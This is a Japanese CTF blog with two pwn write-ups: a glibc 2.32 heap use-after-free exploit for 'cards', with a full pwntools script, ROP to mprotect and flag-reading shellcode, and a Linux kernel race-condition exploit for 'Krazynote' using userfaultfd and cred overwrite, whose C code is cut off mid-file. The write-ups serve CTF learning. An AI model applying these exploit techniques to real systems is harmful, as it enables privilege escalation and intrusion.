newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 34.0】Poseidon CTF 2020 - cards

keywords

ROP to mprotect / re-allocated structure / UAF / environ to leak stack / libc2.32

 

 

1: イントロ

いつぞや行われた Poseidon CTF 2020

libc2.32問があったのでそれだけ解いた = pwn問 card

結局あまり関係なかった 

 

猫も可愛いけどやっぱり犬が可愛いですよね

どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です

どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです

 

 

2. 問題概要

libc2.32 + セキュリティ機構FULL stripped

$ file ./cards
./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled 

以下に示すseccompがあり、且つprctl(PR_NO_NEW_PRIV)がセットされていた

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

 

カードの add edit free view ができる

なんか隠しコマンド 6 があったが使わなかった

 

 

3. Vulns - heapbaseのleakまで

edit時にfreeしたかどうかのチェックがないためUAF(write) (view/freeはフラグをチェックするため不可)

freeするときの順番が逆

・NULL終端がない

・バッファ(chunk)を初期化していない

・消去したノートのアドレスをNULLクリアしていない

editにおいて note 構造体のサイズ情報ではなく他で保存した情報を用いている(note構造体中のsizeを変えられればoverflow)

・実際に確保したノート数+1に対して free/edit/view ができる

 

結局使ったのは1つ目と2つ目と3つ目と4つ目と5つ目の脆弱性のみ

まず、登場するchunkには3種類あって、ノートの情報を保持する構造体noteと、ノートに格納する名前に関する構造体target_noteと、実際に名前を格納するnameがある。この内notetarget_noteへのポインタを、target_notenameへのポインタを保持している。mallocの際にはこの順に確保される。

だがfree時にもこの順番でfreeしてしまっている。これはnotefreeした後でnote->target_noteをdereferenceすることになり十分脆弱性であると言える(今回はこの事実は使用していないが)。この順番でfreeをした後再びmallocをすると、かつてnoteだったchunkはnameになり、逆も然りである。よって、nameを読むことでかつてnoteとして保持していたtarget_noteへのポインタをleakすることができる。

 

4: AAW/AAR

上述した嘗てnoteであったnameチャンクをUAFで用いることで、target_noteポインタをleakするだけでなく上書きしてAAWに使うこともできる。この際、editにはnote構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロでoverwriteしておく。

view自体は他のflagによって管理しているため、それだけではUAFのreadはできない。だが、AAWを持っている今、他のnotetarget_noteポインタを書き換えてやることで未だfreeされていないnoteからAARを達成できる。

 

 

5: libcbase leak

AAW+AARができるため、適当にsizeを書き換えてfreeを行いunsortedを生成してlibcbaseをleakする

 

 

6: StackAddr leak

AAW+AAR+libcbase leakedの状態のため、environを読んでstackaddrをleakする

 

 

7: ROP to mprotect

editによってedit()関数のreturn addrを書き換え、ROPに持ち込む。このROPの大きさは0xFFに限られているため、一度heapをmprotectでRWXにしてシェルコードを置くことにする。

 

 

8: shellcode to open/read flag

はい

 

 

9: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./cards"
LIBCNAME = "./libc-2.32.so"

hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost")
ports = (9004,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(idx):
    c.recvuntil("Choice: ")
    c.sendline(str(idx))

def _add(size, color, name):
    if len(color) > 7:
        raw_input("[-] color size too long: "+hex(len(color)))
        exit()
    hoge(1)
    c.recvuntil("card: ")
    c.send(str(size))
    c.recvuntil("color: ")
    c.send(color)
    c.recvuntil("name: ")
    c.send(name)

def _remove(idx):
    hoge(2)
    c.recvuntil("card: ")
    c.sendline(str(idx))

def _edit(idx, name):
    hoge(3)
    c.recvuntil("card: ")
    c.send(str(idx))
    c.recvuntil("name: ")
    c.send(name)

def _view(idx):
    hoge(4)
    c.recvuntil("card: ")
    c.sendline(str(idx))

# 謎の隠しコマンド
def _secret(name):
    hoge(6)
    c.recvuntil("name: ")
    c.send(name)

# house of io ?
def decrypt(Pd):
    L = Pd >> 36
    for i in range(3):
      temp = (Pd >> (36-(i+1)*8)) & 0xff
      element = ((L>>4) ^ temp) & 0xff
      L = (L<<8) + element
      print("L : "+hex(L))

## exploit ###########################################

def exploit():
  global c
  flag_path = "/home/challenge/flag\x00"

  shellcode = b""
  shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag
  shellcode += asm("push rdi")
  shellcode += asm("mov rdi, 0x2f65676e656c6c61")
  shellcode += asm("push rdi")
  shellcode += asm("mov rdi, 0x68632f656d6f682f")
  shellcode += asm("push rdi")

  shellcode += asm("mov rdi, rsp")
  shellcode += asm("mov rax, 2")
  shellcode += asm("mov rdx, 0")
  shellcode += asm("mov rsi, 0")
  shellcode += asm("syscall")

  shellcode += asm("mov rdi, rax")
  shellcode += asm("mov rcx, rsp") # バッファ
  shellcode += asm("mov rsi, rcx")
  shellcode += asm("mov rdx, 0x80")
  shellcode += asm("mov rax, 0")
  shellcode += asm("syscall")

  shellcode += asm("mov rdi, 1")
  shellcode += asm("mov rsi, rsp")
  shellcode += asm("mov rdx, 0x80")
  shellcode += asm("mov rax, 1")
  shellcode += asm("syscall")


  print("shellcode len: "+hex(len(shellcode)))
  
  _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ)
  _remove(0)

  # leak heapbase
  _add(0x20, "A", "A"*0x10)
  _view(1)
  c.recvuntil("A"*0x10)
  leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
  print("[+] leaked: "+hex(leaked01))
  heapbase = leaked01 - 0x40
  print("[+] heapbase: "+hex(heapbase))

  # overwrite 0's flag
  _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1))

  _add(0xf8, "B"*0x4, flag_path) # 2
  _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3
  _add(0xf8, "F"*0x4, flag_path) # 4
  _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext
  _add(0xf8, "J"*0x4, shellcode) # 6

  _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる
  _edit(0, p64(0x451))       # fake size of name of 2(maybe)

  _remove(2) # fake size == 0x451 unsorted生成


  # libcbase leak
  _add(0x60, "X", "Y") #7
  _view(7)
  c.recvuntil("Y")
  leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400
  print("[+] leaked: "+hex(leaked02))
  libcbase = leaked02 - 0x3b6c00
  print("[+] libcbase: "+hex(libcbase))
  free_hook = libcbase + 0x3b8e80
  system = libcbase + 0x43930
  print("[+] free_hook: "+hex(free_hook))


  # note4のname_ptrをenvironへ: stack leak
  _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase)) 
  _edit(0,p64(libcbase + libc.symbols["environ"]))
  _view(4)
  c.recvuntil("name: ")
  environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
  print("[+] environ: "+hex(environ))
  stack_ra = environ - 0x100
  print("[+] RA addr of main stack: "+hex(stack_ra))


  # EDITのstackのRA書き換え
  _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase)) 
  _edit(0, p64(stack_ra - 0x78 + 8))

  pop_rdi = 0x0002201c
  pop_rsi = 0x0002c626
  pop_rdx = 0x00001b9e
  shell_mem = heapbase + 0x680 # note6
  protected_mem = heapbase & 0xfffffffffffff000

  rop = b""
  rop += p64(libcbase + pop_rdi)
  rop += p64(protected_mem)
  rop += p64(libcbase + pop_rsi)
  rop += p64(0x3000)
  rop += p64(libcbase + pop_rdx)
  rop += p64(0x7)
  rop += p64(libcbase + libc.symbols["mprotect"])
  rop += p64(shell_mem)

  _edit(6, rop)
  return



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

 

10: アウトロ

f:id:smallkirby:20200810013902p:plain

got a flag

歳を取りたくなさすぎて泣いています

 

 

 

 

 

 

 

続く...

 

 

 

 

 

 

 

 

 

 

【pwn 33.0】Krazynote - Balsn CTF 2019 (kernel exploit)

keywords

kernel exploit / unlocked_ioctl / race condition / userfaultfd / read insts to leak kernbase / walkthrough and overwrite PTE / prctl to leak current via com

 

  

0: 参考

pr0cf5.github.io

 

 

1: イントロ

いつぞや行われた BalsnCTF 2019 pwn問題 Krazynote

race condition/ PTEの書き換え/ brute-force 等様々な要素が関わってきて面白かった

 

 

2: 準備

配布物

run.sh: QEMUのスタートアップスクリプト. SMEP/SMAP有効. threads=4

initramfs.cpio.gz: initramfs. 特筆すべきことは無し

note.ko: LKM. ソースコードは無し

bzImage: カーネルイメージ. バージョン情報等は以下の通り 

Linux (none) 5.1.9 #1 SMP Fri Jun 14 17:32:01 CST 2019 x86_64 GNU/Linux
filename:       /home/wataru/Documents/ctf/balsn2019/krazynote/work/./note.ko
description:    Secret Note
license:        GPL
srcversion:     3D2D944721745235FC446C4
depends:
retpoline:      Y
name:           note
vermagic:       5.1.9 SMP mod_unload

 

その他

LKMのソースが配布されている場合には、自前ビルドしたカーネルツリー下でモジュールをビルドしてやるとかなりデバッグがしやすくなるのだが、今回はソースが添付されていなかったため配布された素のイメージを使うことにした

環境やexploit本体などは以下のリポジトリに置いてある

github.com

 

3: 問題概要ととっかかりのBug 

配布されたLKMは /dev/note という名で miscdevice を登録する 

f:id:smallkirby:20200809062755p:plain

registered miscdevice

この時、fops には以下のように openunlocked_ioctl しか登録されていない

f:id:smallkirby:20200809062908p:plain

file_operations of /dev/note

open は特筆すべき内容がなく、実際は unlocked_ioctl のみに注目すれば良い

Ghidraでデコンパイルすると結構気持ち悪いコードが生成されたが、気合で補完したコードが以下である

#define CREATE 0xffffff00
#define EDIT   0xffffff01
#define READ   0xffffff02
#define ALLDEL 0xffffff03

struct information{
  unsigned long idx;      // index of note
  unsigned char size;     // size of note
  char *buf;              // userland buffer to/from which note content is written/read
};

struct note{
  unsigned long secret;
  unsigned long size;
  char *content_ptr;      // maybe pointing to content below, though a little bit aligned?
  char content[];
};

struct note **notes;                  // array of note @ 0x102b60
static char *main_buf_ptr = 0x100b60; // @ 0x100b40

long* unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
  struct information info;
  char buffer[0x100];
  int tmp;
  char *tmp_ptr;
  unsigned long secret;
  struct note *target_note;

  info.idx = 0;
  info.size = 0;
  info.buf = NULL;
  memset(buffer, 0x00, 0x100);

  if(_copy_from_user(&info, (void*)arg, 0x18) == 0){
    info.size = info.size & 0xff;
    info.idx = info.idx & 0xf;

    switch(cmd){
      case CREATE:    // create new note
        info.idx = -1;
        for(int ix=0; ix!=0x10; ++ix){
          if(notes[ix] != NULL)  // when find empty note entry
            continue;

          // copy requested note information from user
          notes[ix] = main_buf_ptr;
          notes[ix]->size = info.size;
          notes[ix]->secret = *(unsigned long*)(*(long*)(*(long*)(&current_task + in_GS_OFFSET) + 0x7e8) + 0x50);

          if(info.size > 0x100){
            _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100, info.size);
            do{ invalidInstructionException(); }while(true);
          }

          // copy note content from userland
          __check_object_size(buffer, 0, info.size);
          _copy_from_user(buffer, info.buf, info.size);

          // encrypt copied note content
          if(info.size != 0){
            tmp = 0;
            secret = notes[ix]->secret;
            do{
              *(unsigned long*)(buffer + tmp) = *(unsigned long*)(buffer + tmp) ^ secret;
              tmp += 8;
            }while(tmp < info.size);
          }
          memcpy(main_buf_ptr + 0x18, buffer);
          notes[ix]->content_ptr = main_buf_ptr + 0x18 - page_offset_base; // ???

          // set pointer forward
          main_buf_ptr = main_buf_ptr + 0x18 + notes[ix]->size;
        }
        break;

      case READ:
        target_note = notes[info.idx];
        if(target_note != NULL){
          tmp_ptr = target_note->content_ptr + page_offset_base;
          if(target_note->size != 0){
            memcpy(buffer, tmp_ptr, target_note->size);
            for(int ix=0; ix!=target_note->size; ){
              *(unsigned long*)(buffer + ix) = *(unsigned long*)(buffer + ix) ^  target_note->secret;
              ix += 8;
            }
            __check_object_size(buffer, target_note->size, 1);
            _copy_to_user(info.buf, buffer, target_note->size);
          }
          return 0;
        }else
          return 0;
        break;

      case ALLDEL:
        for(int ix=0; ix!=8; ++ix)
          notes[ix] = NULL;
        main_buf_ptr = 0x100b60;
        for(int ix=0; ix!=0x400; ++ix)
          *(unsigned long*)(main_buf_ptr + ix*8) = 0x0;
        break;

    case EDIT:
      /* ommitted cuz almost same as create */
      break;

      default:
        return  0xffffffffffffffe7;
    }

  }else{
    return 0xfffffffffffffff2;
  }
}

 ioctlcmd で指定された値に応じて note を作成/消去/編集/読み込みする。この際使用されるバッファはモジュールの .bss 領域に存在し、その先頭から順次使用していくという形式になっている。また、ノートに書き込む/ノートから読み取った値を userland とやりとりするために _copy_to_user()_copy_from_user() を用いている。ユーザはノートに書き込む値の他にも、ノートのサイズやインデックスを指定することができる。

特筆すべき点は、ノートに保存する値を page_offset_base という値でXORにかけ疑似暗号化していること。この page_offset_base は上に示したコードの通り struct task_struct 中のいずれかのメンバを参照した先の値なのだが、task_struct は kernel のビルドオプションによってかなりメンバが変わるため、page_offset_base がどのメンバに相当するのかを調べるのは難しい。詳しくは後述するが、それなりのデバッグと多少のメタ読みとカンニングの結果、この値は task_struct.mm -> (struct mm_struct*)mm-> (pgd_t*)pgd であることが分かった。最初のページディレクトリテーブルのアドレスである。

また、ノート構造体の content_ptr には実際にノートの内容が書いてあるアドレスではなく、そのアドレスに先程の page_offset_base を減算したアドレスが格納されていることも重要である。

 

さて、とっかかりの脆弱性race condition である。

 そもそもに compat_ioctl ではなく unlocked_ioctl が使われているため、_copy_from_user() 等の処理中にもロックが取られない。そのため、_copy_from_user() で使用するメモリ領域を途中で書き換えることができる。これを実現するためには、以下の順で ioctl を呼ぶ。

    CREATE: idx=0 size=0xf0
    EDIT:   idx=0
      |
      |                       ALLDELETE
      |                       CREATE: idx=0 size=0x10
      |                       CREATE: idx=1 size=0x10
      o
    (fin EDIT)

まず大きいサイズ(許容される最大サイズは 0xFF ) でノートをCREATEし、引き続きそれをEDITするのだが、それと同時に別スレッドにおいてALLDELETEを実行して全てのノートを削除し、引き続きCREATEで新しいノートを2つ作る。この別スレッドの作業はEDITが完了するまでに行う必要がある。一般に _copy_from_user() は重い処理であるから、何万回かトライすればこのような race condition が成立する。

これが成立するとノートバッファは以下の図のようになる。

 

f:id:smallkirby:20200809071719p:plain

when race condition

EDITの最中に他スレッドによってノートが初期化され新たにサイズの小さい2つのノートがCREATEされたにも関わらず、EDITは古い情報をもとに _copy_from_user を既に実行してしまっているため、本来書き換えてはいけない note1size  secret を書き換えていることが分かる。

この状態で note1 から値をREADすることを考える。READの際には secret とXORすることでもとの値に復号してから _copy_to_user を行うのだが、今 secret1 にはoverwriteさせた分の 0 ^ secret が入っている。よって、note1 からデータ領域にある 0 (図中メモリ領域した半分の空白部分)を読もうとして復号処理を行うと、0 ^ secret ^ 0 をユーザに渡すことになり、これによって secret の値をリークすることができる。

secret の値が入手できたことと、note1 が実際よりも大きい size の情報を保持しているということから既に殆どAAW/AARであるが、詳しくは後述する。

 

 

4: userfaultfdによってrace conditionを安定させる

上述したrace conditionは数万回トライすれば恐らく1回は成功する気がする。だが、以下では race condition を更に安定化させる方法を考える。

userfaultfd システムコールによって userland におけるページフォルトをハンドリングすることができる。 基本的な使い方については man userfaultfd を参照のこと。尚、libcにこのシステムコールのwrapperはないため直接 syscall() を使うしかない。

 

このuserfaultfdによってmmap()したページをcopy_from_userでkernellandに渡すことで、kernel側が該当ページにアクセス(EDIT)した瞬間にkernelの処理を止めてuserlandに処理を移すことが可能になる

 lazy loading が有効な場合には、mmap した瞬間にはそのページに対して物理メモリはマッピングされず、該当ページへのアクセスが発生た瞬間初めてページフォルトを発生させて物理メモリを割当・スワップインさせることになる

よって、mmap() だけしてアクセスされていない領域をEDITのデータ元として渡してやることでEDIT内の _copy_from_user() の開始直後にページフォルトが発生しユーザランドに処理を戻すことができる。ここで呼び出されるハンドラ内で、上述したALLDELETE+CREATE+CREATEの処理を行い、その後で処理を再び戻してやれば、先程のrace conditionは100%の確立で成功することになる。

以下が、userfaultfdの登録及びフォルトをハンドリングする関数である。尚、いずれもuserfaultfdのmanページを参照している。

// cf. man page of userfaultfd
static void* fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg;   // data read from userfaultfd
  struct uffdio_copy uffdio_copy;
  long uffd = (long)arg;        // userfaultfd file descriptor
  struct pollfd pollfd;         //
  int nready;                   // number of polled events

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while(poll(&pollfd, 1, -1) > 0){
    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if(read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if(msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: %p\n",msg.arg.pagefault.address);

    // Now, another thread is halting. Do my business.
    puts("[+] now alldel + create*2");
    _alldel();                    // delete all notes
    _create(buf,0x10);            // create note idx:0
    _create(buf,0x10);            // creat enote idx:1


    // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
    uffdio_copy.src = buf;
    uffdio_copy.dst = addr;
    uffdio_copy.len = len;
    uffdio_copy.mode = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;      // userfaultfd file descriptor
  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if(uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  puts("[+] mmapped...");
  if(addr == MAP_FAILED)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
  if(s!=0){
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
}

 

5: page_offset_base/ modulebase の leak

secret を入手できたため、note1 をREADすることで note2 content_ptr をleakすることができる。(note1 の size は 0xFF ^ secret という巨大な値になっているため note2 のメタ情報までREADすることができる)

secret と content_ptr があれば、やはり note1 を利用することで note2 content_ptr を上書きし、好きなアドレスの値を読み書きすることができる。

但し、本当に任意のアドレスのAAW/AARを達成するためには、目的のアドレスに対して減算するべき page_offset_base の値をleakする必要があるのだが、今現在この値はわかっていない。しかしその状態でも、先ほどleakした content_ptr には既に page_offset_table の値が減算されているという事実を用いて、.bss セクション内での相対的AAW/AARならば可能である。

よって、まずは note2 がノートアドレスの配列である notes_array を指すように上書きし、これによってノートが作られるバッファのアドレスをleakする。すると、content_ptr の page_offset_base を減算する前の値が手に入る。この2つの値を用いて page_offset_base の値を計算することができる。

また、.bss セクションのアドレスが分かったことになるため、modulebaseもleakできたことになる。

f:id:smallkirby:20200809081203p:plain

leak modulebase

 

 

6: kernbaseのleak

ここまでで secret page_offset_base modulebase の3つがleakできているため、真の意味でAAW/AARになっている。だがkernbaseが分かっていないため、まずはコレを求める必要がある。

モジュール内に含まれるkernel symbol関連の情報と言えば、copy_from_user/ copy_to_user 等の関数の呼び出しである。モジュールのビルド時には当然これらのアドレスがわからないから、モジュールのインストール時に該当 call 命令を上書きし、RIPを用いた相対アドレスによってkernel関数のアドレスを解決している。例えばモジュール内の copy_to_user を呼び出す命令は以下のようになっていた。

f:id:smallkirby:20200809081856p:plain

call copy_to_user

これの上位4byteが相対アドレスであり、RIP + 0xF1620D0F で実際の copy_to_user のアドレスが計算できる。(相対アドレッシングに用いるRIPの値は、この命令ではなく、この1個次の命令のアドレスであることに注意。5を加える必要がある)

modulebaseがわかっておりAARであるから、この命令をleakすることでkernelのtextbaseをleakすることができる。

 

 

7: PTEの権限bitを書き換える

 最初の方で言及したように、page_offset_base はページディレクトリのアドレスを表していた。AAWが存在する今、このページディレクトリを辿っていって目的ページのPTEを探し出し、permissionを変更してしまうことでRWX領域を作ることができる。そうなってしまえば後は kernelland に shellcode を仕込むことで、SMEP/SMAPに触れることなく目的を達成できる。尚、ページディレクトリは多重になっている。詳しくは(?)以下のページを参考のこと。

www.geeksforgeeks.org

 

 

0:参考に挙げたページではこの方法を使っている。だが、今回は違う方法を使ってみることにした。

 

 

8: prctl によって特定の領域をマーキングして総当りする

 kernel pwn の定石といえば、struct task_struct current の struct cred __rcu *cred 内のメンバを書き換えてUID==0にすることである。現状この手法を使うにあたって難しいのは、現在のタスクの cred のアドレスがわからないということである。逆に言えばこのアドレスさえleakできればAAWがあるため終了である。

struct task_struct 内の cred 周辺を見ると、char comm[TASK_COMM_LEN] というメンバが見つかる。これは、実行ファイル名が格納される配列(ポインタではなく!!!)であり、例えばカーネルのパニック時に以下のようなメッセージ上で出力されたりする。

f:id:smallkirby:20200809083905p:plain

comm = "FuckThisSummer"

この comm は ioctl (PR_SET_NAME) によってユーザが任意のタイミングで任意の文字列に変更することができる。AARであるから、この文字列をmarkerとしてメモリ状を全探索することで task_struct中の comm のアドレスを探し出すことができる。

また、デバッグオプションによって構造体内のオフセットが変動すると先に述べたが、comm cred は隣り合っているメンバである。 よっぽどのことがない限り、comm - 8 = cred になると考えられる。(知らんけど)

ということで、愚直に全探索すると30秒程で cred の値がleakできる。

f:id:smallkirby:20200809084425p:plain

leak &cred via brute-force

 

 

9: rootへ

cred のアドレスがわかっており、且つAAWであるため、もうやることは一つ

 

 

 

10: exploit

KASLR/ SMAP/ SMEP有効。

#define _GNU_SOURCE
#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h> #define ulong unsigned long #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define CREATE 0xffffff00 #define EDIT 0xffffff01 #define READ 0xffffff02 #define ALLDEL 0xffffff03 struct info{ unsigned long idx; unsigned long size; char *buf; }; int _create(char *buf, unsigned long size) { struct info info; info.buf = buf; info.size = size; info.idx = 0; if(ioctl(fd,CREATE,&info) < 0) errExit("_create"); puts("[+] created new note"); } int _alldel(void) { struct info info; info.buf = NULL; info.size = 0; info.idx = 0; if(ioctl(fd,ALLDEL,&info) < 0) errExit("_delall"); puts("[+] all deleted"); } int _read(unsigned long idx,char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,READ,&info) < 0) errExit("_read"); //printf("[+] read note: %d\n",idx); } int _edit(unsigned long idx, char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,EDIT,&info) < 0) errExit("_edit"); //printf("[+] edited: %d\n",idx); } char *addr = 0x117117000; // memory region supervisored char buf[0x3000]; // userland buffer unsigned long len = 0x1000; // memory length // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); // Now, another thread is halting. Do my business. puts("[+] now alldel + create*2"); _alldel(); // delete all notes _create(buf,0x10); // create note idx:0 _create(buf,0x10); // creat enote idx:1 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = addr; uffdio_copy.len = len; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; char tmp_buf[0x100]; unsigned long 